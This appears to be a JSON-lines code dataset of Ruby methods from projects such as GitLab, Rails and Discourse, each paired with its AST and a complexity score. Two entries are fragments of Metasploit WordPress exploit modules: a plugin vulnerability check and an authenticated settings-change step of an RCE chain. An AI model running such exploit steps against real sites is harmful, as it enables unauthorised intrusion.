"children\":[\"HTTP_REFERER\"]}]}]}]}]}","id":"d85978bc-ba1e-481e-9f23-bc559c30a406"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/runners/bulk_pause_runners_service.rb","start_line":13,"raw_source":"def initialize(runners:, current_user:, paused:)\n        @runners = runners\n        @current_user = current_user\n        @paused = paused\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"runners\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwarg\",\"children\":[\"paused\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@runners\",{\"type\":\"lvar\",\"children\":[\"runners\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@paused\",{\"type\":\"lvar\",\"children\":[\"paused\"]}]}]}]}","id":"5605631a-ea34-49f2-bc24-ea4ec237279d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb","start_line":77,"raw_source":"def check\n    return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?\n\n    plugin_check = check_plugin_version_from_readme('wp-time-capsule', '1.22.22')\n    case plugin_check.code\n    when 'appears'\n      return CheckCode::Appears('WP Time Capsule plugin appears to be vulnerable.')\n    when 'safe'\n      return CheckCode::Safe('WP Time Capsule plugin is patched or not vulnerable.')\n    end\n\n    CheckCode::Unknown('No vulnerable plugins were detected.')\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wordpress_and_online?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"The WordPress site does not appear to be online.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plugin_check\",{\"type\":\"send\",\"children\":[null,\"check_plugin_version_from_readme\",{\"type\":\"str\",\"children\":[\"wp-time-capsule\"]},{\"type\":\"str\",\"children\":[\"1.22.22\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_check\"]},\"code\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"appears\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"str\",\"children\":[\"WP Time Capsule plugin appears to be vulnerable.\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"safe\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"WP Time Capsule plugin is patched or not vulnerable.\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"No vulnerable plugins were detected.\"]}]}]}]}","id":"820f93ed-6fb3-41c6-8ca7-5d9708eff3e6"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/url_test.rb","start_line":34,"raw_source":"def exercise_url_for(options)\n    @options = options\n    @url = url_for(@options)\n    mail(from: \"from@example.com\", to: \"to@example.com\", subject: \"subject\")\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exercise_url_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@url\",{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"ivar\",\"children\":[\"@options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"str\",\"children\":[\"from@example.com\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"to@example.com\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"str\",\"children\":[\"subject\"]}]}]}]}]}]}","id":"0dd50674-b683-4d18-a093-7d14a5941039"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/highlight.rb","start_line":10,"raw_source":"def self.too_large?(size)\n      size.to_i > self.file_size_limit\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"too_large?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"to_i\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"file_size_limit\"]}]}]}","id":"66798559-df60-4816-bc8b-1338f0875a80"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/timestamp.rb","start_line":170,"raw_source":"def clear_timestamp_attributes\n      all_timestamp_attributes_in_model.each do |attribute_name|\n        if self[attribute_name]\n          self[attribute_name] = nil\n          clear_attribute_change(attribute_name)\n        end\n      end\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_timestamp_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_timestamp_attributes_in_model\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"clear_attribute_change\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]}]},null]}]}]}","id":"92d43302-4f18-4700-9412-0dadbb8c115f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/delete_subgroups.rb","start_line":90,"raw_source":"def resource_exists?(subgroup)\n        response = get(resource_request(subgroup))\n\n        if response.code == HTTP_STATUS_NOT_FOUND\n          logger.info(\"Subgroup #{subgroup[:full_path]} is no longer available\\n\")\n          false\n        else\n          true\n        end\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subgroup\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"resource_request\",{\"type\":\"lvar\",\"children\":[\"subgroup\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"HTTP_STATUS_NOT_FOUND\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Subgroup \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subgroup\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"full_path\"]}]}]},{\"type\":\"str\",\"children\":[\" is no longer available\\n\"]}]}]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"e396e83e-c93a-4e9e-b179-27113e504ef3"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/service/base.rb","start_line":151,"raw_source":"def call(instance, context)\n        @instance.value, @context.value = instance, context\n        context[result_key] = Context.build\n        with_runtime { run_step }\n      end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance\"]},\"value=\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"value=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"result_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Context\"]},\"build\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_runtime\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"run_step\"]}]}]}]}","id":"888de13e-7085-49ab-bb82-37fc23d08ff9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/single_line_block_chain.rb","start_line":32,"raw_source":"def on_send(node)\n          range = offending_range(node)\n          add_offense(range) { |corrector| corrector.insert_before(range, \"\\n\") } if range\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"offending_range\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_before\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]}]}]}","id":"ed27c232-e0be-4a17-ac51-88286149d632"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/maven/metadata/sync_service.rb","start_line":52,"raw_source":"def update_xml(kind:, package_file:, service_class:, payload_empty_field:)\n          return error(\"Metadata file for #{kind} is too big\") if package_file.size > MAX_FILE_SIZE\n\n          package_file.file.use_open_file do |file|\n            result = service_class.new(metadata_content: file, package: package_file.package)\n                                  .execute\n\n            next result unless result.success?\n            next success(\"No changes for #{kind} xml\") unless result.payload[:changes_exist]\n\n            if result.payload[payload_empty_field]\n              package_file.package.destroy!\n              success(\"Versionless package for #{kind} destroyed\")\n            else\n              AppendPackageFileService.new(metadata_content: result.payload[:metadata_content], package: package_file.package)\n                                      .execute\n            end\n          end\n        end","complexity_score":36.7,"ast_json":"{\"type\":\"def\",\"children\":[\"update_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"kind\"]},{\"type\":\"kwarg\",\"children\":[\"package_file\"]},{\"type\":\"kwarg\",\"children\":[\"service_class\"]},{\"type\":\"kwarg\",\"children\":[\"payload_empty_field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_file\"]},\"size\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_FILE_SIZE\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Metadata file for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kind\"]}]},{\"type\":\"str\",\"children\":[\" is too big\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_file\"]},\"file\"]},\"use_open_file\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata_content\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_file\"]},\"package\"]}]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},null,{\"type\":\"next\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"changes_exist\"]}]},null,{\"type\":\"next\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No changes for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kind\"]}]},{\"type\":\"str\",\"children\":[\" xml\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"payload\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"payload_empty_field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_file\"]},\"package\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Versionless package for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kind\"]}]},{\"type\":\"str\",\"children\":[\" destroyed\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AppendPackageFileService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata_content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"metadata_content\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_file\"]},\"package\"]}]}]}]},\"execute\"]}]}]}]}]}]}","id":"f62bcf19-23ff-4a7c-a853-f8c188380ee1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":1939,"raw_source":"def ensure_namespace_correct\n    if namespace\n      namespace.path = username if username_changed?\n      namespace.name = name if name_changed?\n    end\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_namespace_correct\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username_changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"path=\",{\"type\":\"send\",\"children\":[null,\"username\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name_changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"name=\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},null]}]},null]}]}","id":"268ebddd-7f7d-4679-823e-b6e437062803"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/import_export/import_service.rb","start_line":95,"raw_source":"def valid_user_permissions?\n        if current_user.can?(:admin_group, group)\n          true\n        else\n          shared.error(::Gitlab::ImportExport::Error.permission_error(current_user, group))\n\n          false\n        end\n      end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_user_permissions?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"admin_group\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shared\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"ImportExport\"]},\"Error\"]},\"permission_error\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"c978fda1-fc7d-409f-a863-06914a36d82c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/provisioning_profile.rb","start_line":508,"raw_source":"def tvos?\n        sub_platform == 'tvOS'\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tvos?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sub_platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"tvOS\"]}]}]}","id":"9f2288eb-bea8-4333-ae4f-60587bc55b5f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_popular_posts_rce.rb","start_line":162,"raw_source":"def change_settings(cookie, token)\n    vprint_status('Updating popular posts settings for images')\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),\n      'method' => 'POST',\n      'cookie' => cookie,\n      'keep_cookies' => true,\n      'vars_get' => {\n        'page' => 'wordpress-popular-posts',\n        'tab' => 'debug'\n      },\n      'vars_post' => {\n        'upload_thumb_src' => '',\n        'thumb_source' => 'custom_field',\n        'thumb_lazy_load' => 0,\n        'thumb_field' => 'wpp_thumbnail',\n        'thumb_field_resize' => 1,\n        'section' => 'thumb',\n        'wpp-admin-token' => token\n      }\n    )\n    fail_with(Failure::Unreachable, 'Site not responding') unless res\n    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200\n    fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body\n  end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"change_settings\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie\"]},{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Updating popular posts settings for images\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"wp-admin\"]},{\"type\":\"str\",\"children\":[\"options-general.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"page\"]},{\"type\":\"str\",\"children\":[\"wordpress-popular-posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"tab\"]},{\"type\":\"str\",\"children\":[\"debug\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"upload_thumb_src\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"thumb_source\"]},{\"type\":\"str\",\"children\":[\"custom_field\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"thumb_lazy_load\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"thumb_field\"]},{\"type\":\"str\",\"children\":[\"wpp_thumbnail\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"thumb_field_resize\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"section\"]},{\"type\":\"str\",\"children\":[\"thumb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"wpp-admin-token\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Site not responding\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to retrieve page\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<strong>Settings saved\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Unable to save/change settings\"]}]}]}]}]}","id":"e4260b62-1ede-4d5b-ac54-5e13cc01f2bb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/groups/row_component.rb","start_line":37,"raw_source":"def user_count\n      model.users.count\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"user_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"users\"]},\"count\"]}]}","id":"c7b237f2-779b-4800-ae5c-561c96c1377b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/ci/artifactable.rb","start_line":59,"raw_source":"def file_format_adapter_class\n      FILE_FORMAT_ADAPTERS[file_format.to_sym]\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"file_format_adapter_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FILE_FORMAT_ADAPTERS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_format\"]},\"to_sym\"]}]}]}","id":"1b5bb93d-edb0-45ee-9833-9d84ebdef0d1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/repositories/tree_finder.rb","start_line":16,"raw_source":"def execute(gitaly_pagination: false)\n      raise CommitMissingError unless commit_exists?\n\n      request_params = { recursive: recursive, rescue_not_found: rescue_not_found }\n      request_params[:pagination_params] = pagination_params if gitaly_pagination\n\n      tree = repository.tree(commit.id, path, **request_params)\n\n      @next_cursor = tree.cursor&.next_cursor if gitaly_pagination\n\n      tree.sorted_entries\n    end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"gitaly_pagination\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit_exists?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"CommitMissingError\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recursive\"]},{\"type\":\"send\",\"children\":[null,\"recursive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rescue_not_found\"]},{\"type\":\"send\",\"children\":[null,\"rescue_not_found\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitaly_pagination\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"pagination_params\"]},{\"type\":\"send\",\"children\":[null,\"pagination_params\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"tree\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"tree\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit\"]},\"id\"]},{\"type\":\"send\",\"children\":[null,\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_params\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitaly_pagination\"]},{\"type\":\"ivasgn\",\"children\":[\"@next_cursor\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tree\"]},\"cursor\"]},\"next_cursor\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tree\"]},\"sorted_entries\"]}]}]}","id":"3e45cea8-b098-4f2c-8059-1a8ea354e569"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/scm/checkout_instructions_service.rb","start_line":80,"raw_source":"def checkout_url_buildable?\n    !repository.class.requires_checkout_base_url? || checkout_base_url.present?\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"checkout_url_buildable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"class\"]},\"requires_checkout_base_url?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checkout_base_url\"]},\"present?\"]}]}]}","id":"767c89b2-237e-40a5-9a03-2083c5cf9f36"}
